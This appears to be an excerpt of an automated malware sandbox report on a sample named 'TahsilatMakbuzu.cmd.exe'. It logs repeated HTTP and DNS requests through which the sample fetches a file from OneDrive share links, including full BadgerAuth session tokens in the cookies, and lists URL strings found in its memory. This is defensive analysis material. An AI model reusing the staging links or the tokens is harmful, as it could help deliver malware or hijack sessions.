Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTU5LCJuYmYiOjE3MjAxMTcxNTksImdpdmVuX25hbWUiOiI0NSIsImZhbWlseV9uYW1lIjoiU2FyZGluZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQzNDFjMDI2NDEwOGI2YTQ5N2UzZmE3OTVhYzA1NThmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNTl9.jj-8nBBd8cVLXOSssT1AN14YANHyYYZQKfd3eDRnMzqF0aV8oKgnJSp-avYHBGswK6DK4KTRxv8Hk7UFoJKAeo57qDEHHivu4AoRPvLNJrIXP5F6LtO9ve4cWPEsvo252AzNP_VgJrxfYJLzwm29yx4iIGit5NsrhGlhGPgDa5XE8iby4VpBnTHQIAk34s_zvo2Zz-9iMXT8BDJ6XLhzuxSyvXI-q5WfdJZogbh6C5eJbQUS0PtWCsum9FDc0rZ7c94ZBRPRlgt3-0A1IeD27QMLx30GSAv86rulfLX-94a_ZiDW3ME7kl2TpwX_-El6tPsAQiup-zdd6UmvYKQD-g; E=P:gKhZ0lWc3Ig=:tuLFzdpsOgsvziZ/yWDs/LAXvoXeG8TA/WxgnmK53uM=:F; xid=fd738acf-55ef-46f3-a62d-c8fd8aeb1007&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTYzLCJuYmYiOjE3MjAxMTcxNjMsImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiSGF3ayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImEwYzlmZTcyOWQ5MTgwZjk3ODk2ZjgyNzQ5MmYzYmY1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNjN9.XE3-pGWc0vca7J0om1tFiXs_ufRt2isVX9zLdj1ltDys0uTnBuxq7Y0oybWuclKOa9gGYiEo_v2GLdb_nvhJ7V2DmNQQXPwAa01AYlaPTJ-LQtHZaO6UFeW_8RmOvscrHr55SMgQesdDMmtAlqjej9jngf_R3jguU292niME6uwGEz07_C1OXNX9h_jgWReqyPUczz81ZhxYUNFCgHPoMKm3VT4An0otXD2KFrEFLWpAURh1MqGES0Q_byl2ESkF-wBrigyXpVWWmFlp3R4IWcej3CRipqRQiG8c_GE0mZjM5J6ntGuqUdo-CKZLUYOcnBKz4CuBycTnzeW0lwdE_Q; E=P:fReU1FWc3Ig=:LI5sE1tRE7bA+hUDSnySiNx1GWYhCAmM84+FfidVcKA=:F; xid=d85badb0-7447-4ad1-89d7-42e1049d624b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTY5LCJuYmYiOjE3MjAxMTcxNjksImdpdmVuX25hbWUiOiI2NyIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5ZTYyZGI2MGU3YjY0ODZlNWRiNjAwY2FlMjlhMmIwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNjl9.STevwxDA4qcbpGqRXTPrwecH3jnhpZRsZR6nV7BhRjI-HL14vCav7M_-9P1GQbm-_mW0GEJYOvyyDRKqxVZeLFL3JsSd2udyCZXKPCihjwnbIf9iDTyM7DkzTWVVDBkzOyoN-omFuWhVOM58RZSzKzWL9iDaCSX3kVpF2Fwl_7-Oaz5h2FtyS9UFpD5N5Vc8iNnBx4L8PxbcbgmD91BonFW1vsCDpXpkhI-fBumd2DMx4KvXIzQbMG58bNJX6ahld-0Z9Sj8yzdnqhrpztpknblBK-epoTIJkzMGIYACTdorr0H9isxSPCGiuaexnv6YIh0onDkL6lWh4Z4SL2WRGg; E=P:TIxT2FWc3Ig=:cZjhKcuo3jxfI9PE0RQDSe1uKnqgocxwIyQwIafkoyE=:F; xid=2d558fef-2c0d-4a1f-b8b3-c57a01ff8de6&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTc2LCJuYmYiOjE3MjAxMTcxNzYsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiVG9hZCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjM5ODdlOTQ2MzVlNDY5Nzg2Mzk1NjVkMzYxZTM0MzU5IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNzZ9.d3XRbIR_l4LaRAg236hTm-QuY1VYCqYN6bzqUeEFmtxqre0Zb9mzRFcznQ8GpZw-XovVc1aXwo9JhbPXPM1wImXEJc2RugKHHSM6PwaJ2NQ-JFFK_plJqbUE9-9AVRaAw-1-4uthNT8IV2a5rQf1yJKzW0VRc_X3jnRRWxY-NDYJFI5Sfa4E7XX9hHOfvejmU3bncTki_MQBmkGG_4d3oDWll_Qu6dvu21m6b0lWQJJ7LX-3f74MDeZNPSXkNTYRX60GPygCYz8KLdb_y8JGEevvn5C1-2O7JUpN0YKaN7JJR3W_AspZWXNtc6bQvHzQZ7KXW-Hie1eRUJoeNAHFqA; E=P:oP9H3FWc3Ig=:xKeQDCBJLqYIvIW5MZEPdBTZaHCNa0FVCUX9p0Ha86A=:F; xid=a452af85-5e6a-47f4-998a-3f7c2782a1e3&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTc5LCJuYmYiOjE3MjAxMTcxNzksImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiQ2hlZXRhaCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6Ijg0Y2QxOWJlYmM4OTc2NzhlZWIyYmU5YmQzNjZhNGQ1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNzl9.CnjQ6_QmFGVaZl6VesRdovzVsYrXTQMO0pCmLZ4P2075EWEKitG3nW7w9STsl9zOw3H7gE2wy7XQzvp9b-iUjSKH1HXVtTOfAJDgHt4J_geeHyh9p-KulZu-rffLMvxumqE6BqgcfVUpoHDt2la1WA3YWDaeWOJMq3BG-qMPAn6YaHyKS8conbxP8_VGMvw2dejAbikXIxYNvpalhTbYtiiVslmoLJqdlrCoCl16eCUYPV8NHjZZhmG-71KeKymA5Oknlr5oM6Z1-BbDU0PR7efYicsGzbO52dx0WegMeuGFzjMZvudyYkCzw5ulUEhX88qdvYjLhVBtWkpvusG-0w; E=P:l34Z3lWc3Ig=:90pK4g8ni5aCxyhX4tlLDWaHPMvnEGfeQmK2YJRwYCI=:F; xid=f9d5bdb5-c968-47ad-9177-faf679472ba8&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTgyLCJuYmYiOjE3MjAxMTcxODIsImdpdmVuX25hbWUiOiI1NiIsImZhbWlseV9uYW1lIjoiQ3JvY29kaWxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYmYyMjY5MDBhZjE2ZDZjYzQ1ZTU2ZTU5ZDdiOWNiMTIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE4Mn0.IjdPaD7rvDjRp6MoXD-tWE9xQfnJZwCA_NUCgV-GZB6vuVlwBEIWQgm7kxKEbdeuzcoAZqjTQc78l0s7w9sJbJoLTFCM_3a_ksSFDQ1wnelc20w1df7guG_rnmerDe7eF9lTytuq0Z3qRcB5Fh3u15SDXWQq4EelncOFYZRbYDjxjrWwiflW57S1PsbhkCHuMJ-oA6lt2M1xd7WBLEUSmXH5V0bWFDtRRIeBHRuChnU_05jwD2hW712GeTCa3houjCTmLD3Y8AQt1pN9giZ-zaWfke5dsyxNgJxoSaiK4-n0wrTcAm8hOKbHKQLEb2RgJ5q3ipuptR1p_O08ld3qVw; E=P:eRcc4FWc3Ig=:7f80qaZglAPSB2PPJrUli88jI+/0cFBX9SuF1ySYCbU=:F; xid=5858293b-5699-4f50-a70e-3313a1501250&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTg1LCJuYmYiOjE3MjAxMTcxODUsImdpdmVuX25hbWUiOiIwIiwiZmFtaWx5X25hbWUiOiJIdW1taW5nYmlyZCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQyYzM2NzBmNzkxMmQwMWJhOGQ3OWRkYzQwOTAyMDY4IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxODV9.gSbLORD7kgVqhYWC1DmYL4d50J8GfRXD094jyB-DOILJulnbMsSjykgA2m10lSssNQlzcPZokMv_QIO8PTTLbYUJiy_82O28raq9ZVN2zHSuxp7yOhxRgejsXbz6wm7rGAKegR-shdphUDB3-5ROXBjyccUocQNn7K_xY97gnzky_f4m5V7fxu6HwJD9WlJiG6OEmxVljxg-O7-URZE3pLg-3jLHLDwZKgJw8vOlq4cjY9iaThXMSpUMhhDxJ7EMbPAppi4-ENLbYYa2EJ388pIH_I2tQrauQTO5nVMziWDiKWG5T7K91PtzJvGxpmopQ6XdLpKb5Ru2j2JLOCSPwQ; E=P:/Avy4VWc3Ig=:CCfM7ZoMmaGqW+wBnbW0iAuRGkyt6wrWkZWEwu1xPrU=:F; xid=88267190-9976-4486-bc2f-15066bf3f24a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTkyLCJuYmYiOjE3MjAxMTcxOTIsImdpdmVuX25hbWUiOiIzMiIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZWIyNDgyOTU2NGViOWE1OTE4MTAzMDQwOTY3MDJmZDgiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE5Mn0.ijXxu_2G5D6YQmNcR9RnWI3Oxmg3xbHeDGEXxykEGDrT-D7tc9c8fI5K2qasZjHY30CcLL5GISJgLu1v0CE6aGm63seGcAs83oGlXbH6rYp4V4V0JYInRICcpOj7DWhdwUr8kH6JkPpOTpoVWlVAGW9bJ7rhgYx8nNSWKwoOnzFS3qLFFHlknX7jElE4kDdTb8hzdpC7N7PDGwKqzj5mFNqFlFgKz9TVLzv0JWLj17Sji5-AXQ3ZkM5vfRuK0Cf709hPXpDXJvui4KYxsAXVVoHRK_n_1MX7ZiVfvPU85u-SQGIesmjrTKojEUDE_Q98PHPO5qyZd4Q7lMgm_kIumQ; E=P:5IHT5VWc3Ig=:WLN33BusW6eRWVVYX+9YDKkG+0gGxxuvl6Qpw42Ony0=:F; xid=d14362ac-975c-42c4-96a7-355ff0a4fd27&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms

Source: global traffic	DNS traffic detected: DNS query: 1drv.ms
Source: global traffic	DNS traffic detected: DNS query: onedrive.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenX-MSEdge-Ref: Ref A: E582E3D156F64515AA029CF93D43698C Ref B: BN3EDGE1105 Ref C: 2024-07-04T18:19:49ZDate: Thu, 04 Jul 2024 18:19:49 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenX-MSEdge-Ref: Ref A: 4F357B141CCA45F7A45589ABE02AA72F Ref B: BN3EDGE0922 Ref C: 2024-07-04T18:19:55ZDate: Thu, 04 Jul 2024 18:19:55 GMTConnection: close

Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1drv.ms
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1drv.msP
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dual-spov-0006.spov-msedge.net
Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dual-spov-0006.spov-msedge.netd
